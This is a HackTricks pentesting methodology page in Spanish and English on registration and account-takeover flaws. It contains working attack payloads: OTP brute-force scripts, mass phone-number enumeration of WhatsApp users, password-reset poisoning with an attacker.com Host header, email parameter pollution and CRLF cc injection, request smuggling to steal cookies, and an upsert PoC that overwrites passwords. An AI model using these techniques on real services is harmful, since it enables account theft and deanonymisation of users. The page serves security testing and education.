Registro & Takeover Vulnerabilidades

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Registration Takeover

Duplicate Registration

  • Intenta registrarte usando un nombre de usuario ya existente
  • Prueba variaciones del email:
  • mayúsculas
  • +1@
  • agrega algún punto en el email
  • caracteres especiales en la parte local del email (%00, %09, %20)
  • Pon caracteres en blanco después del email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Prueba trucos de canonicalización del proveedor de email (depende del servicio):
  • Gmail ignores dots and subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • Algunos proveedores no distinguen mayúsculas/minúsculas en la parte local
  • Algunos proveedores aceptan unicode confusables. Prueba homoglyphs y soft hyphen \u00AD dentro de la parte local
  • Abusa de esto para: bypass uniqueness checks, obtener cuentas duplicadas/workspace invites, o bloquear registros de la víctima (DoS temporal) mientras preparas un takeover

Username Enumeration

Comprueba si puedes averiguar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.

  • Mensajes de error o códigos HTTP diferentes
  • Diferencias de tiempo (usuario existente puede desencadenar una búsqueda en IdP/DB)
  • Autocompletado del formulario de registro con datos de perfil para emails conocidos
  • Revisa flujos de team/invite: introducir un email puede revelar si existe una cuenta

Password Policy

Al crear un usuario, verifica la política de contraseñas (comprueba si puedes usar contraseñas débiles).
En ese caso puedes intentar bruteforce de credenciales.

SQL Injection

Check this page para aprender cómo intentar account takeovers o extraer información vía SQL Injections en formularios de registro.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Una vez registrado, intenta cambiar el email y verifica si el cambio se valida correctamente o si puedes establecer cualquier email arbitrario.

More Checks

  • Comprueba si puedes usar disposable emails (mailinator, yopmail, 1secmail, etc.) o eludir la lista de bloqueos con subaddressing como victim+mailinator@gmail.com
  • Long password (>200) leads to DoS
  • Comprueba los límites de tasa en la creación de cuentas
  • Usa username@burp_collab.net y analiza el callback
  • Si se usa verificación por número de teléfono, revisa casos límite de phone parsing/injection

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Los mensajeros centrados en números de teléfono exponen un presence oracle cada vez que el cliente sincroniza contactos. Reproducir las peticiones de discovery de WhatsApp históricamente entregó >100M lookups per hour, permitiendo enumeraciones de cuentas casi completas.

Attack workflow

  1. Instrument an official client para capturar la petición de subida de la libreta de direcciones (authenticated blob de números normalizados E.164). Repródúcela con números generados por el atacante mientras reutilizas las mismas cookies/device token.
  2. Batch numbers per request: WhatsApp acepta miles de identificadores y devuelve registered/unregistered más metadata (business, companion, etc.). Analiza las respuestas offline para construir listas de objetivos sin enviar mensajes a las víctimas.
  3. Horizontally scale la enumeración con SIM banks, cloud devices, o residential proxies para que no se active el throttling por cuenta/IP/ASN.

Dialing-plan modeling

Modela el plan de marcación de cada país para evitar candidatos inválidos. El dataset NDSS (country-table.*) lista códigos de país, densidad de adopción y reparto por plataforma para que puedas priorizar rangos con alta probabilidad. Código de ejemplo para inicializar:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Convertir enumeraciones en ataques dirigidos

  • Alimenta leaked phone numbers (e.g., Facebook’s 2021 breach) en el oracle para aprender qué identities siguen activas antes de phishing, SIM-swapping, o spamming.
  • Segmenta censos por país/OS/tipo de app para encontrar regiones con filtrado de SMS débil o alta adopción de WhatsApp Business para social engineering localizado.

Correlación de reutilización de claves públicas

WhatsApp expone la clave de identidad X25519 de cada cuenta durante la configuración de sesión. Solicita material de identidad para cada número enumerado y elimina duplicados de las claves públicas para revelar account farms, clientes clonados o firmware inseguro — las claves compartidas desanonimizan operaciones multi-SIM.

Los flujos de registro a menudo verifican la propiedad mediante un OTP numérico o un token de magic-link. Fallos típicos:

  • OTP predecible o corto (4–6 dígitos) sin limitación de tasa efectiva ni seguimiento por IP/dispositivo. Prueba adivinanzas en paralelo y rotación de headers/IP.
  • Reutilización de OTP entre acciones o cuentas, o no ligado al usuario/acción específica (p. ej., el mismo código funciona para login y signup, o funciona después de cambiar el email).
  • Multi-value smuggling: algunos backends aceptan múltiples códigos y verifican si alguno coincide. Prueba:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguir códigos incorrectos vs caducados vs de otro usuario por el status/mensaje/longitud del body.
  • Tokens no invalidados tras el éxito o después de un cambio de contraseña/email.
  • Verification token no atado al user agent/IP, permitiendo cross-origin completion desde páginas controladas por el atacante.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Parallel/concurrent guessing para evitar sequential lockouts (usa Turbo Intruder en Burp):

Fragmento de Turbo Intruder para inundar intentos OTP de 6 dígitos ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

Una clase poderosa de problemas ocurre cuando un atacante realiza acciones sobre el email de la víctima antes de que esta cree su cuenta, y luego recupera el acceso más tarde.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Consejos prácticos

- Harvest flows and endpoints from web/mobile bundles. Busca endpoints de classic signup, SSO linking, email/phone change y password reset.
- Crea automatizaciones realistas para mantener sesiones vivas mientras ejercitas otros flujos.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. El atacante debe iniciar sesión con su cuenta y acceder a la función Change password.
  2. Inicia Burp Suite y intercepta la petición
  3. Envíala a la pestaña Repeater y edita los parámetros: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede adivinarse. Las siguientes variables podrían usarse en el algoritmo.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Genera una solicitud de restablecimiento de contraseña usando la API/UI para un email específico, p. ej.: test@mail.com
  2. Inspecciona la respuesta del servidor y busca resetToken
  3. Luego utiliza el token en una URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Regístrate en el sistema con un nombre de usuario idéntico al de la víctima, pero con espacios en blanco añadidos antes y/o después del nombre. e.g: "admin "
  2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
  3. Usa el token enviado a tu email y restablece la contraseña de la víctima.
  4. Accede a la cuenta de la víctima con la nueva contraseña.

La plataforma CTFd fue vulnerable a este ataque.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al parent domain : *.domain.com
  2. Leak la sessions cookie actual
  3. Autentícate como el usuario usando la cookie

Account Takeover Via HTTP Request Smuggling

  1. Usa smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Crea una petición que sobrescriba el POST / HTTP/1.1 con los siguientes datos:
    GET http://something.burpcollaborator.net HTTP/1.1 X: con el objetivo de open redirect the victims to burpcollab and steal their cookies\
  3. La petición final podría verse como la siguiente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reporta la explotación de este bug\

Secuestro de cuenta vía CSRF

  1. Crea un payload para el CSRF, p. ej.: “HTML form with auto submit for a password change”
  2. Envía el payload

Secuestro de cuenta vía JWT

JSON Web Token podría usarse para autenticar a un usuario.

  • Edita el JWT con otro User ID / Email
  • Busca una firma JWT débil

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Algunos signup handlers realizan un upsert cuando el email proporcionado ya existe. Si el endpoint acepta un body mínimo con un email y password y no aplica verificación de propiedad, enviar el email de la víctima sobrescribirá su contraseña pre-auth.

  • Discovery: obtener nombres de endpoint desde el bundled JS (o tráfico de la app móvil), luego fuzzear rutas base como /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
  • Pistas del método: un GET que devuelve mensajes como “Only POST request is allowed.” frecuentemente indica el verbo correcto y que se espera un JSON body.
  • Body mínimo observado en entornos reales:
{"email":"victim@example.com","password":"New@12345"}

Ejemplo PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impacto: Secuestro completo de cuenta (ATO) sin ningún reset token, OTP, ni verificación por email.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks